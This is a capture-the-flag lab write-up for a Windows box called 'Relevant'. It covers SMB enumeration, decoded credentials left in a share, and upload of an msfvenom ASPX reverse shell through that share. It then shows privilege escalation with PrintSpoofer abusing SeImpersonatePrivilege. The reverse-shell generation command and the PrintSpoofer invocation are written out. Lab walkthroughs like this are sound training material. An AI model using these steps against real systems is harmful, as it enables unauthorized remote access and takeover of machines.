# Relevant

If you see a change of IPs on the victim machine it's because the box disconnected at one point.

## User flag

Let's start enumerating services with nmap.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4AKL9NzRK71lclkVe%2Fimage.png?alt=media\&token=8ecbb600-5056-45c7-a294-4348f20ae2e1)

We see there are a few open ports. We can start enumerating the SMB service and see if we find anything interesting.

```
smbclient -L \\10.10.98.197
```

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4B0xPl1Nji6nPN1ao%2Fimage.png?alt=media\&token=b6f8c6e9-e47f-459e-ae5a-06f8c67e3a86)

Checking the nt4wrksv folder we can see a juicy file. Let's get it.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4Bpz1Iafpy31bXT0O%2Fimage.png?alt=media\&token=9f569778-ac61-44eb-a81a-df610f166e13)

The passwords are base64 encoded, if we decode them we get these credentials:

```
Bill - Juw4nnaM4n420696969!$$$
Bob - !P@$$W0rD!123
```

Trying to log into the machine using Evil-WinRM or psexec with these credentials will get us nowhere so we can assume it's a rabbit hole.

Looking back at our scan report we can see there are two ports using http service, let's take a look.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4ElsKlAf4hVqrau-W%2Fimage.png?alt=media\&token=68f15f56-214c-4fc9-904f-2e956801c8c6)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4EoRQ0bj627aYjb5k%2Fimage.png?alt=media\&token=7e281838-0e60-4ee0-af27-bcbdbce7b5fd)

We see nothing interesting. if we use gobuster against the two http services we'll find nothing really useful on port 80 but we'll find a folder named "**nt4wrksv**" on port 49663 after a while (Really after a while, it might take 30-40 mins)

Heading to the nt4wrksv folder we find an empty page.&#x20;

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4ISOX-Um6KTEz_O7y%2Fimage.png?alt=media\&token=ee56913a-5f1f-4da2-8c9e-b57b4cc75dea)

We can try to use gobuster again or we can just check if "passwords.txt" exists to see if it's related to the SMB service.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4J4QjPAA57oZSmzv6%2Fimage.png?alt=media\&token=d4f9b65b-0999-423c-a98b-93b6f351d511)

Bingo. So now we can try to upload anything to the SMB folder and if it works maybe we can get a reverse shell.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4JhrtgzQItrzNxU5r%2Fimage.png?alt=media\&token=b44541e4-5606-490d-8089-41b684174400)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4JqLx50f6_ZULKOoL%2Fimage.png?alt=media\&token=73e07198-8054-449e-a5a4-d188b541c6d4)

It works. Let's try to upload a reverse shell (A reverse.exe shell won't work).

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=9001 -f aspx >reverse.aspx
```

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4LdMkQLyC2QakLqaf%2Fimage.png?alt=media\&token=8add02eb-422d-4fcb-9450-17e03aacf2a4)

Let's start a listener and execute the revshell.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4Lo3AoliAUu4r7Duy%2Fimage.png?alt=media\&token=83be527f-276e-4739-9a99-65825cc9bda3)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4M-5Q_U3dE7OqZ0tT%2Fimage.png?alt=media\&token=e2e0bdb9-30e0-4fb9-bda0-4a0058c22bd8)

Grab the flag.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4PYses19Vc4-EML4A%2Fimage.png?alt=media\&token=b59456c8-673f-43f6-a09c-f732c1dfb9d5)

## Root flag

Let's check our privileges

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4RBBgjsU4NipfpCOp%2Fimage.png?alt=media\&token=eea53a20-9b1b-4498-bcb1-dccdeaf11cdd)

We don't have any tokens to impersonate and DCOM is disabled so we can't use a potato attack. But we can use the PrintSpoofer vuln to abuse "**SeImpersonatePrivilege**" <https://github.com/itm4n/PrintSpoofer>

Let's get the PrintSpoofer.exe file and upload it to the victim machine using the SMB service.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4UyVylExWXPCfEupo%2Fimage.png?alt=media\&token=e5c2308c-a5c9-4dea-abaf-fe7f8d2bdbac)

Now we have to go to the SMB folder and run the .exe

```
PrintSpoofer.exe -i -c cmd
```

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4VXWwk9j7oJHndyo2%2Fimage.png?alt=media\&token=03edb4c2-23c3-4f59-bd86-84c3568a9221)

We got admin privileges now. Let's grab the flag and we're done.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-Mc4AGVoMJta1rylR2MB%2F-Mc4VplG3hQuJkGAwqcJ%2Fimage.png?alt=media\&token=839c1010-cf6c-459c-bd8d-2362a917b25a)
